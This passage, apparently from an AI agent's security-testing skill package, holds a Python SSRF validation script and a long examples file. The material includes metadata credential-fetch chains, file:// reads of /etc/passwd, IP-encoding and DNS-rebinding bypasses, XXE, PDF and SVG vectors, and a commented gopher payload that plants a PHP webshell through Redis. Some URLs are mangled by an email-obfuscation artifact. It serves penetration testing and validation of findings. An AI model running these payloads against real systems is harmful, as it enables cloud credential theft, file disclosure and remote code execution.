ssrf_type: str
baseline: Optional[Dict] = None
test: Optional[Dict] = None
bypass_used: Optional[str] = None
evidence: str = ""
# Content indicators for internal/cloud access
INTERNAL_INDICATORS = [
# Linux files
r"root:x:0:0",
r"daemon:x:1:1",
r"\[boot loader\]", # Windows win.ini
# AWS metadata
r"ami-id",
r"instance-id",
r"AccessKeyId",
r"SecretAccessKey",
r"iam/security-credentials",
# GCP metadata
r"access_token.*expires_in",
r"service-accounts",
r"project-id",
# Azure metadata
r"subscriptionId",
r"resourceGroupName",
r"vmId",
# Services
r"redis_version",
r"STAT items", # Memcached
r"MongoDB",
]
def redact_sensitive(content: str) -> str:
"""
Redact sensitive information from response content.
Args:
content: Raw response content
Returns:
Content with sensitive values redacted
"""
# AWS credentials
content = re.sub(r'"AccessKeyId"\s*:\s*"[^"]+"', '"AccessKeyId": "[REDACTED]"', content)
content = re.sub(r'"SecretAccessKey"\s*:\s*"[^"]+"', '"SecretAccessKey": "[REDACTED]"', content)
content = re.sub(r'"Token"\s*:\s*"[^"]+"', '"Token": "[REDACTED]"', content)
# GCP/Azure tokens
content = re.sub(r'"access_token"\s*:\s*"[^"]+"', '"access_token": "[REDACTED]"', content)
# Generic secrets
content = re.sub(r'"password"\s*:\s*"[^"]+"', '"password": "[REDACTED]"', content)
content = re.sub(r'"secret"\s*:\s*"[^"]+"', '"secret": "[REDACTED]"', content)
content = re.sub(r'"api_key"\s*:\s*"[^"]+"', '"api_key": "[REDACTED]"', content)
return content
def truncate_response(content: str, max_bytes: int = 8192) -> Tuple[str, bool]:
"""
Truncate response to maximum size.
Args:
content: Response content
max_bytes: Maximum bytes to keep
Returns:
Tuple of (truncated_content, was_truncated)
"""
if len(content.encode('utf-8')) <= max_bytes:
return content, False
truncated = content.encode('utf-8')[:max_bytes].decode('utf-8', errors='ignore')
return truncated + "\n[TRUNCATED]", True
def compute_hash(content: str) -> str:
"""Compute SHA-256 hash of content."""
return f"sha256:{hashlib.sha256(content.encode()).hexdigest()[:16]}"
def has_internal_content(response_text: str) -> Tuple[bool, str]:
"""
Check if response contains internal/cloud content indicators.
Args:
response_text: Response body text
Returns:
Tuple of (has_indicator, indicator_found)
"""
for indicator in INTERNAL_INDICATORS:
if re.search(indicator, response_text, re.IGNORECASE):
return True, indicator
return False, ""
def test_ssrf_endpoint(
target_url: str,
endpoint: str,
param_name: str = "url",
method: str = "POST",
timeout: int = 30,
) -> SSRFEvidence:
"""
Test an endpoint for SSRF vulnerabilities.
Args:
target_url: Base URL of target application
endpoint: Endpoint path to test
param_name: Parameter name for URL injection
method: HTTP method (POST or GET)
timeout: Request timeout in seconds
Returns:
SSRFEvidence with test results
"""
full_url = f"{target_url.rstrip('/')}{endpoint}"
# Phase 1: Establish baseline with external URL
baseline_test_url = "http://example.com"
try:
if method.upper() == "POST":
baseline_resp = requests.post(
full_url,
json={param_name: baseline_test_url},
timeout=timeout
)
else:
baseline_resp = requests.get(
full_url,
params={param_name: baseline_test_url},
timeout=timeout
)
baseline_data = {
"url": baseline_test_url,
"status": baseline_resp.status_code,
"response_snippet": truncate_response(baseline_resp.text, 1024)[0],
"response_hash": compute_hash(baseline_resp.text),
}
except Exception as e:
return SSRFEvidence(
status="UNVALIDATED",
ssrf_type="baseline_failed",
evidence=f"Baseline request failed: {str(e)}"
)
# Phase 2: Test localhost payloads
for payload in get_localhost_payloads():
try:
if method.upper() == "POST":
resp = requests.post(
full_url,
json={param_name: payload},
timeout=timeout
)
else:
resp = requests.get(
full_url,
params={param_name: payload},
timeout=timeout
)
has_internal, indicator = has_internal_content(resp.text)
if resp.status_code == 200 and has_internal:
snippet, truncated = truncate_response(redact_sensitive(resp.text))
return SSRFEvidence(
status="VALIDATED",
ssrf_type="localhost",
baseline=baseline_data,
test={
"url": payload,
"status": resp.status_code,
"response_snippet": snippet,
"response_hash": compute_hash(resp.text),
"truncated": truncated,
"indicator_found": indicator,
},
bypass_used=_identify_bypass(payload),
evidence=f"Localhost access confirmed via {payload}"
)
except requests.exceptions.Timeout:
continue
except Exception:
continue
# Phase 3: Test cloud metadata
for payload_info in get_cloud_metadata_payloads("all"):
payload = payload_info["url"]
try:
if method.upper() == "POST":
resp = requests.post(
full_url,
json={param_name: payload},
timeout=timeout
)
else:
resp = requests.get(
full_url,
params={param_name: payload},
timeout=timeout
)
has_internal, indicator = has_internal_content(resp.text)
if resp.status_code == 200 and has_internal:
snippet, truncated = truncate_response(redact_sensitive(resp.text))
return SSRFEvidence(
status="VALIDATED",
ssrf_type="cloud_metadata",
baseline=baseline_data,
test={
"url": payload,
"status": resp.status_code,
"response_snippet": snippet,
"response_hash": compute_hash(resp.text),
"truncated": truncated,
"description": payload_info.get("desc", ""),
},
evidence=f"Cloud metadata exposed: {payload_info.get('desc', payload)}"
)
except Exception:
continue
# Phase 4: Test protocol handlers
for payload_info in get_protocol_payloads():
payload = payload_info["url"]
try:
if method.upper() == "POST":
resp = requests.post(
full_url,
json={param_name: payload},
timeout=timeout
)
else:
resp = requests.get(
full_url,
params={param_name: payload},
timeout=timeout
)
has_internal, indicator = has_internal_content(resp.text)
if resp.status_code == 200 and has_internal:
snippet, truncated = truncate_response(redact_sensitive(resp.text))
return SSRFEvidence(
status="VALIDATED",
ssrf_type="protocol_smuggling",
baseline=baseline_data,
test={
"url": payload,
"protocol": payload_info["protocol"],
"status": resp.status_code,
"response_snippet": snippet,
"response_hash": compute_hash(resp.text),
"truncated": truncated,
},
evidence=f"Protocol smuggling via {payload_info['protocol']}:// - {payload_info['desc']}"
)
except Exception:
continue
# If all tests blocked, it's a false positive
return SSRFEvidence(
status="FALSE_POSITIVE",
ssrf_type="none",
baseline=baseline_data,
evidence="All SSRF payloads blocked - URL validation working correctly"
)
def _identify_bypass(payload: str) -> Optional[str]:
"""Identify which bypass technique was used."""
if re.match(r"http://\d+$", payload):
return "decimal_ip"
if "0x" in payload.lower():
return "hex_ip"
if re.match(r"http://0\d+\.", payload):
return "octal_ip"
if "[" in payload and "]" in payload:
return "ipv6"
if ".nip.io" in payload or ".xip.io" in payload:
return "dns_wildcard"
if "1u.ms" in payload:
return "dns_rebinding"
if "@" in payload:
return "url_parser_confusion"
return None
def save_evidence(evidence: SSRFEvidence, output_path: str):
"""Save evidence to JSON file."""
with open(output_path, 'w') as f:
json.dump(asdict(evidence), f, indent=2)
print(f"Evidence saved to: {output_path}")
# Example usage
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="SSRF Validation Testing")
parser.add_argument("--target", required=True, help="Target base URL")
parser.add_argument("--endpoint", required=True, help="Endpoint to test")
parser.add_argument("--param", default="url", help="URL parameter name")
parser.add_argument("--method", default="POST", help="HTTP method")
parser.add_argument("--output", default="ssrf_evidence.json", help="Output file")
args = parser.parse_args()
print(f"Testing {args.target}{args.endpoint} for SSRF...")
evidence = test_ssrf_endpoint(
target_url=args.target,
endpoint=args.endpoint,
param_name=args.param,
method=args.method,
)
print(f"\nResult: {evidence.status}")
print(f"Type: {evidence.ssrf_type}")
print(f"Evidence: {evidence.evidence}")
save_evidence(evidence, args.output)
```
---
## Skill Companion Files
> Additional files collected from the skill directory layout.
### examples.md
```markdown
# SSRF Testing Examples
This file contains comprehensive examples of SSRF vulnerability testing, organized by attack category.
## Table of Contents
1. [Basic SSRF - Localhost Access](#basic-ssrf---localhost-access)
2. [Cloud Metadata SSRF](#cloud-metadata-ssrf)
3. [Filter Bypass Techniques](#filter-bypass-techniques)
4. [Protocol Smuggling](#protocol-smuggling)
5. [Blind SSRF](#blind-ssrf)
6. [Test Result Types](#test-result-types)
7. [XXE-based SSRF](#xxe-based-ssrf)
8. [PDF/HTML Renderer SSRF](#pdfhtml-renderer-ssrf)
9. [SVG/Image Processing SSRF](#svgimage-processing-ssrf)
10. [Advanced Bypass Examples](#advanced-bypass-examples)
---
## Basic SSRF - Localhost Access
### Example 1: Direct Localhost Access
**Scenario**: URL fetcher endpoint without proper validation
**Vulnerability**:
```python
# api/fetch.py - VULNERABLE
@app.route('/api/fetch', methods=['POST'])
def fetch_url():
url = request.json.get('url')
response = requests.get(url) # No validation!
return response.text
```
**Test**:
```python
# Baseline: external URL
POST /api/fetch {"url": "http://example.com"} → 200 OK
# Test: localhost
POST /api/fetch {"url": "http://127.0.0.1"} → 200 OK with internal content
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "localhost",
"baseline": {
"url": "http://example.com",
"status": 200,
"response_snippet": "<!DOCTYPE html>..."
},
"test": {
"url": "http://127.0.0.1",
"status": 200,
"response_snippet": "<html>Internal Admin Panel</html>",
"response_hash": "sha256:abc123..."
},
"evidence": "Server fetched localhost, exposing internal admin panel"
}
```
---
### Example 2: Internal Port Scanning
**Scenario**: SSRF used to enumerate internal services
**Test**:
```python
# Scan common internal ports
ports = [22, 80, 443, 3306, 5432, 6379, 8080, 27017]
for port in ports:
url = f"http://127.0.0.1:{port}"
start = time.time()
response = requests.post(f"{target}/api/fetch", json={"url": url})
elapsed = time.time() - start
# Different response times/errors indicate port status
print(f"Port {port}: {response.status_code} ({elapsed:.2f}s)")
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "port_scan",
"test": {
"scan_results": [
{"port": 22, "status": "timeout", "time": 5.02},
{"port": 80, "status": 200, "time": 0.15},
{"port": 6379, "status": 200, "time": 0.12, "content": "redis_version:6.2.6"}
]
},
"evidence": "Internal port scan revealed HTTP (80) and Redis (6379) services"
}
```
---
## Cloud Metadata SSRF
### Example 3: AWS Metadata - IMDSv1
**Scenario**: SSRF to AWS EC2 metadata endpoint
**Test**:
```python
# AWS IMDSv1 (no token required)
payloads = [
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://169.254.169.254/latest/user-data"
]
response = requests.post(f"{target}/api/fetch",
json={"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"})
# Response contains role name
role_name = response.text.strip()
# Fetch credentials
creds_response = requests.post(f"{target}/api/fetch",
json={"url": f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "cloud_metadata",
"cloud_provider": "aws",
"test": {
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-ssrf-role",
"status": 200,
"response_snippet": "{\"Code\": \"Success\", \"AccessKeyId\": \"[REDACTED]\", \"SecretAccessKey\": \"[REDACTED]\", \"Token\": \"[REDACTED]\", \"Expiration\": \"2024-01-15T12:00:00Z\"}",
"response_hash": "sha256:def456..."
},
"evidence": "AWS IAM credentials for role 'ec2-ssrf-role' exposed via SSRF"
}
```
---
### Example 4: GCP Metadata
**Scenario**: SSRF to Google Cloud metadata (requires header)
**Note**: GCP metadata requires `Metadata-Flavor: Google` header. Standard SSRF may not work unless app forwards headers.
**Test**:
```python
# GCP v1beta1 (no header required - deprecated but may work)
response = requests.post(f"{target}/api/fetch",
json={"url": "http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"})
# If header forwarding is possible via gopher://
gopher_payload = "gopher://metadata.google.internal:80/_GET%20/computeMetadata/v1/instance/service-accounts/default/token%20HTTP/1.1%0D%0AHost:%20metadata.google.internal%0D%0AMetadata-Flavor:%20Google%0D%0A%0D%0A"
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "cloud_metadata",
"cloud_provider": "gcp",
"test": {
"url": "http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token",
"status": 200,
"response_snippet": "{\"access_token\": \"[REDACTED]\", \"expires_in\": 3600, \"token_type\": \"Bearer\"}"
},
"evidence": "GCP service account token exposed via v1beta1 metadata endpoint"
}
```
---
### Example 5: Azure Metadata
**Scenario**: SSRF to Azure IMDS
**Test**:
```python
# Azure requires Metadata: true header
# Standard SSRF may fail unless header is forwarded
response = requests.post(f"{target}/api/fetch",
json={"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "cloud_metadata",
"cloud_provider": "azure",
"test": {
"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
"status": 200,
"response_snippet": "{\"compute\": {\"subscriptionId\": \"[REDACTED]\", \"resourceGroupName\": \"[REDACTED]\"}}"
},
"evidence": "Azure instance metadata exposed including subscription details"
}
```
---
## Filter Bypass Techniques
### Example 6: IP Encoding Bypass
**Scenario**: Application blocks "127.0.0.1" and "localhost" but doesn't normalize IPs
**Test**:
```python
# Encoded representations of 127.0.0.1
bypass_payloads = [
("decimal", "http://2130706433"),
("hex", "http://0x7f000001"),
("octal", "http://0177.0.0.1"),
("short", "http://127.1"),
("ipv6_mapped", "http://[::ffff:127.0.0.1]"),
]
for name, payload in bypass_payloads:
response = requests.post(f"{target}/api/fetch", json={"url": payload})
if response.status_code == 200 and "internal" in response.text.lower():
print(f"Bypass successful: {name}")
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "filter_bypass",
"bypass_technique": "decimal_ip",
"test": {
"url": "http://2130706433",
"resolved_to": "127.0.0.1",
"status": 200,
"response_snippet": "<html>Internal Dashboard</html>"
},
"evidence": "Filter bypassed using decimal IP encoding (2130706433 = 127.0.0.1)"
}
```
---
### Example 7: DNS Rebinding Bypass
**Scenario**: Application validates DNS on first resolution but uses cached result
**Test**:
```python
# Using 1u.ms DNS rebinding service
# First lookup: external IP, Second lookup: 127.0.0.1
rebind_domain = "make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms"
response = requests.post(f"{target}/api/fetch",
json={"url": f"http://{rebind_domain}/"})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "filter_bypass",
"bypass_technique": "dns_rebinding",
"test": {
"url": "http://make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms/",
"dns_first_lookup": "1.2.3.4",
"dns_second_lookup": "127.0.0.1",
"status": 200,
"response_snippet": "<html>Internal Service</html>"
},
"evidence": "DNS rebinding bypassed validation (1.2.3.4 → 127.0.0.1)"
}
```
---
### Example 8: URL Parser Confusion
**Scenario**: Different parsing between validator and HTTP library
**Test**:
```python
# URL parser confusion payloads
confusion_payloads = [
"http://[email protected]/", # userinfo confusion
"http://127.0.0.1#@attacker.com/", # fragment confusion
"http://127.0.0.1:80\\@attacker.com/", # backslash confusion
"http://attacker.com:80#@127.0.0.1:80/", # port + fragment
]
for payload in confusion_payloads:
response = requests.post(f"{target}/api/fetch", json={"url": payload})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "filter_bypass",
"bypass_technique": "url_parser_confusion",
"test": {
"url": "http://[email protected]/admin",
"validator_saw": "attacker.com",
"http_library_fetched": "127.0.0.1",
"status": 200,
"response_snippet": "<html>Admin Panel</html>"
},
"evidence": "URL parser confusion: validator saw attacker.com, requests fetched 127.0.0.1"
}
```
---
### Example 9: Redirect-Based Bypass
**Scenario**: Application allows external URLs, follows redirects to internal
**Test**:
```python
# Using r3dir.me redirect service
redirect_payloads = [
"https://307.r3dir.me/--to/?url=http://127.0.0.1/",
"https://307.r3dir.me/--to/?url=http://169.254.169.254/latest/meta-data/",
]
for payload in redirect_payloads:
response = requests.post(f"{target}/api/fetch", json={"url": payload})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "filter_bypass",
"bypass_technique": "open_redirect",
"test": {
"url": "https://307.r3dir.me/--to/?url=http://169.254.169.254/latest/meta-data/",
"redirect_chain": ["307.r3dir.me → 169.254.169.254"],
"status": 200,
"response_snippet": "ami-id\ninstance-id\n..."
},
"evidence": "Redirect bypass via 307.r3dir.me to AWS metadata"
}
```
---
## Protocol Smuggling
### Example 10: file:// Protocol - Local File Read
**Scenario**: Application accepts file:// URLs
**Test**:
```python
file_payloads = [
"file:///etc/passwd",
"file:///etc/shadow",
"file:///proc/self/environ",
"file:///c:/windows/win.ini",
]
response = requests.post(f"{target}/api/fetch",
json={"url": "file:///etc/passwd"})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "protocol_smuggling",
"protocol": "file",
"test": {
"url": "file:///etc/passwd",
"status": 200,
"response_snippet": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...",
"response_hash": "sha256:xyz789..."
},
"evidence": "Local file read via file:// protocol - /etc/passwd exposed"
}
```
---
### Example 11: gopher:// Protocol - Redis Attack
**Scenario**: Gopher protocol enabled, Redis accessible on localhost
**Test**:
```python
# INFO command (safe reconnaissance)
gopher_info = "gopher://127.0.0.1:6379/_INFO%0D%0A"
# DANGEROUS: Webshell via Redis (DO NOT USE without authorization)
# gopher_shell = "gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASET%20payload%20%22%3C%3Fphp%20system%28%24_GET%5B0%5D%29%3F%3E%22%0D%0ASAVE%0D%0A"
response = requests.post(f"{target}/api/fetch", json={"url": gopher_info})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "protocol_smuggling",
"protocol": "gopher",
"internal_service": "redis",
"test": {
"url": "gopher://127.0.0.1:6379/_INFO%0D%0A",
"status": 200,
"response_snippet": "# Server\nredis_version:6.2.6\nredis_git_sha1:00000000\n..."
},
"evidence": "Redis (6.2.6) accessible via gopher:// protocol - potential RCE vector"
}
```
---
### Example 12: dict:// Protocol - Service Detection
**Scenario**: Dict protocol enabled for port/service scanning
**Test**:
```python
dict_payloads = [
"dict://127.0.0.1:6379/INFO", # Redis
"dict://127.0.0.1:11211/stats", # Memcached
]
response = requests.post(f"{target}/api/fetch",
json={"url": "dict://127.0.0.1:6379/INFO"})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "protocol_smuggling",
"protocol": "dict",
"test": {
"url": "dict://127.0.0.1:6379/INFO",
"status": 200,
"response_snippet": "redis_version:6.2.6"
},
"evidence": "Redis detected via dict:// protocol enumeration"
}
```
---
## Blind SSRF
### Example 13: OOB Callback Detection
**Scenario**: Response not returned but server makes outbound request
**Test**:
```python
# Using Burp Collaborator or interact.sh
oob_domain = "xyz123.oastify.com"
payloads = [
f"http://{oob_domain}/ssrf",
f"http://internal.{oob_domain}/",
]
for payload in payloads:
requests.post(f"{target}/api/webhook", json={"callback_url": payload})
# Check collaborator/interact.sh for callbacks
# HTTP request received from target IP → VALIDATED
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "blind_ssrf",
"detection_method": "oob_callback",
"test": {
"url": "http://xyz123.oastify.com/ssrf",
"endpoint": "/api/webhook"
},
"oob_evidence": {
"callback_received": true,
"source_ip": "10.0.0.50",
"timestamp": "2024-01-15T10:30:00Z",
"request_type": "HTTP"
},
"evidence": "Blind SSRF confirmed - OOB callback received from target server (10.0.0.50)"
}
```
---
### Example 14: DNS-Only Callback
**Scenario**: HTTP blocked but DNS resolution occurs
**Test**:
```python
# If HTTP callback blocked, try DNS-only detection
dns_payload = f"http://ssrf-test.{oob_domain}/"
requests.post(f"{target}/api/fetch", json={"url": dns_payload})
# Check for DNS query to ssrf-test.xyz123.oastify.com
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "blind_ssrf",
"detection_method": "dns_callback",
"test": {
"url": "http://ssrf-test.xyz123.oastify.com/"
},
"oob_evidence": {
"dns_query_received": true,
"queried_domain": "ssrf-test.xyz123.oastify.com",
"source_ip": "10.0.0.50"
},
"evidence": "Blind SSRF confirmed via DNS resolution (HTTP may be blocked)"
}
```
---
## Test Result Types
### Example 15: FALSE_POSITIVE - Properly Blocked
**Scenario**: Application correctly validates and blocks internal URLs
**Test**:
```python
response = requests.post(f"{target}/api/fetch",
json={"url": "http://127.0.0.1/"})
# Response: 400 Bad Request - "Invalid URL: internal addresses not allowed"
```
**Evidence**:
```json
{
"status": "FALSE_POSITIVE",
"ssrf_type": "localhost",
"test": {
"url": "http://127.0.0.1/",
"status": 400,
"response_snippet": "{\"error\": \"Invalid URL: internal addresses not allowed\"}"
},
"bypasses_attempted": ["decimal_ip", "hex_ip", "ipv6", "dns_rebinding"],
"bypasses_successful": [],
"evidence": "All internal URL requests properly blocked including bypass attempts"
}
```
---
### Example 16: PARTIAL - Ambiguous Result
**Scenario**: Different response but no clear content leak
**Test**:
```python
# External URL
external = requests.post(f"{target}/api/fetch", json={"url": "http://example.com"})
# Response: 200 OK, content: "<!DOCTYPE html>..."
# Internal URL
internal = requests.post(f"{target}/api/fetch", json={"url": "http://127.0.0.1"})
# Response: 200 OK, content: "" (empty)
```
**Evidence**:
```json
{
"status": "PARTIAL",
"ssrf_type": "localhost",
"test": {
"url": "http://127.0.0.1/",
"status": 200,
"response_snippet": "",
"note": "Empty response differs from external URL (which returns content)"
},
"evidence": "Possible SSRF - internal URL returns empty 200 OK (different from external). Manual verification needed."
}
```
---
### Example 17: UNVALIDATED - Test Incomplete
**Scenario**: Testing could not be completed
**Evidence**:
```json
{
"status": "UNVALIDATED",
"ssrf_type": "cloud_metadata",
"reason": "timeout",
"test": {
"url": "http://169.254.169.254/latest/meta-data/",
"error": "Connection timed out after 30s"
},
"evidence": "SSRF test incomplete - request to metadata endpoint timed out. May indicate network filtering or non-AWS environment."
}
```
---
## XXE-based SSRF
### Example 18: XXE to Cloud Metadata
**Scenario**: XML parser with external entities enabled
**Vulnerability**:
```python
# api/parse.py - VULNERABLE
@app.route('/api/parse', methods=['POST'])
def parse_xml():
xml_data = request.data
tree = etree.fromstring(xml_data) # XXE enabled!
return etree.tostring(tree)
```
**Test**:
```python
xxe_payload = '''<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<data>&xxe;</data>'''
response = requests.post(f"{target}/api/parse",
data=xxe_payload,
headers={"Content-Type": "application/xml"})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "xxe_ssrf",
"test": {
"payload_type": "xxe",
"url": "http://169.254.169.254/latest/meta-data/",
"status": 200,
"response_snippet": "<data>ami-id\ninstance-id\nhostname\n...</data>"
},
"evidence": "XXE-based SSRF to AWS metadata - internal data exfiltrated via XML entity"
}
```
---
## PDF/HTML Renderer SSRF
### Example 19: wkhtmltopdf SSRF
**Scenario**: HTML-to-PDF converter fetches embedded resources
**Vulnerability**:
```python
# api/pdf.py - VULNERABLE
@app.route('/api/generate-pdf', methods=['POST'])
def generate_pdf():
html_content = request.json.get('html')
pdf = pdfkit.from_string(html_content, False) # Fetches embedded URLs!
return send_file(io.BytesIO(pdf), mimetype='application/pdf')
```
**Test**:
```python
html_payload = '''
<html>
<body>
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>
</body>
</html>
'''
response = requests.post(f"{target}/api/generate-pdf", json={"html": html_payload})
# PDF contains rendered AWS metadata
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "pdf_ssrf",
"injection_vector": "iframe",
"test": {
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"status": 200,
"note": "AWS credentials visible in generated PDF"
},
"evidence": "SSRF via PDF generator - iframe fetched AWS IAM credentials rendered in PDF output"
}
```
### Example 20: CSS-based SSRF in PDF
**Scenario**: PDF generator processes CSS with url() functions
**Test**:
```python
html_payload = '''
<html>
<style>
@import url("http://169.254.169.254/latest/meta-data/");
body { background: url("http://ATTACKER.oastify.com/css-ssrf"); }
</style>
<body>Test</body>
</html>
'''
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "pdf_ssrf",
"injection_vector": "css_import",
"test": {
"url": "http://ATTACKER.oastify.com/css-ssrf"
},
"oob_evidence": {
"callback_received": true,
"source_ip": "10.0.0.50"
},
"evidence": "Blind SSRF via CSS @import in PDF generator - OOB callback received"
}
```
---
## SVG/Image Processing SSRF
### Example 21: SVG Image SSRF
**Scenario**: Image processor handles SVG with external references
**Test**:
```python
svg_payload = '''<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://169.254.169.254/latest/meta-data/" width="100" height="100"/>
</svg>'''
response = requests.post(f"{target}/api/upload-image",
files={"image": ("test.svg", svg_payload, "image/svg+xml")})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "svg_ssrf",
"test": {
"payload": "SVG with xlink:href to metadata endpoint",
"url": "http://169.254.169.254/latest/meta-data/",
"status": 200
},
"evidence": "SSRF via SVG image processing - external URL fetched during image handling"
}
```
---
## Advanced Bypass Examples
### Example 22: Unicode Bypass
**Scenario**: Filter blocks "localhost" but doesn't normalize Unicode
**Test**:
```python
unicode_payloads = [
"http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ", # Enclosed alphanumerics
"http://127。0。0。1", # Fullwidth dots
"http://ʟᴏᴄᴀʟʜᴏꜱᴛ", # Small caps
]
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "filter_bypass",
"bypass_technique": "unicode_normalization",
"test": {
"url": "http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ",
"normalized_to": "localhost",
"status": 200,
"response_snippet": "<html>Internal Service</html>"
},
"evidence": "Unicode bypass: ⓛⓞⓒⓐⓛⓗⓞⓢⓣ normalized to localhost"
}
```
### Example 23: CRLF Injection Bypass
**Scenario**: Inject headers via CRLF in URL
**Test**:
```python
crlf_payload = "http://allowed.com%0d%0aHost:%20127.0.0.1%0d%0a"
response = requests.post(f"{target}/api/fetch", json={"url": crlf_payload})
```
**Evidence**:
```json
{
"status": "VALIDATED",
"ssrf_type": "filter_bypass",
"bypass_technique": "crlf_injection",
"test": {
"url": "http://allowed.com%0d%0aHost:%20127.0.0.1",
"injected_header": "Host: 127.0.0.1",
"status": 200
},
"evidence": "CRLF injection bypassed host validation - injected Host header"
}
```
---
## Common Injection Points Reference
| Feature | Parameter Names | Example Payload |
|---------|----------------|-----------------|
| URL Fetcher | `url`, `uri`, `path`, `src` | `?url=http://127.0.0.1` |
| Webhook | `callback`, `webhook_url`, `notify` | `{"callback": "http://127.0.0.1"}` |
| File Import | `import_url`, `file_url`, `document` | `?import_url=file:///etc/passwd` |
| Image/Avatar | `avatar_url`, `image_url`, `picture` | `?avatar_url=http://169.254.169.254/` |
| PDF Generator | `html_url`, `source`, `template` | `<img src="http://127.0.0.1">` |
| OAuth | `redirect_uri`, `callback_uri` | Redirect to internal |
| Proxy | `proxy_url`, `forward_to` | `?proxy_url=http://127.0.0.1` |
```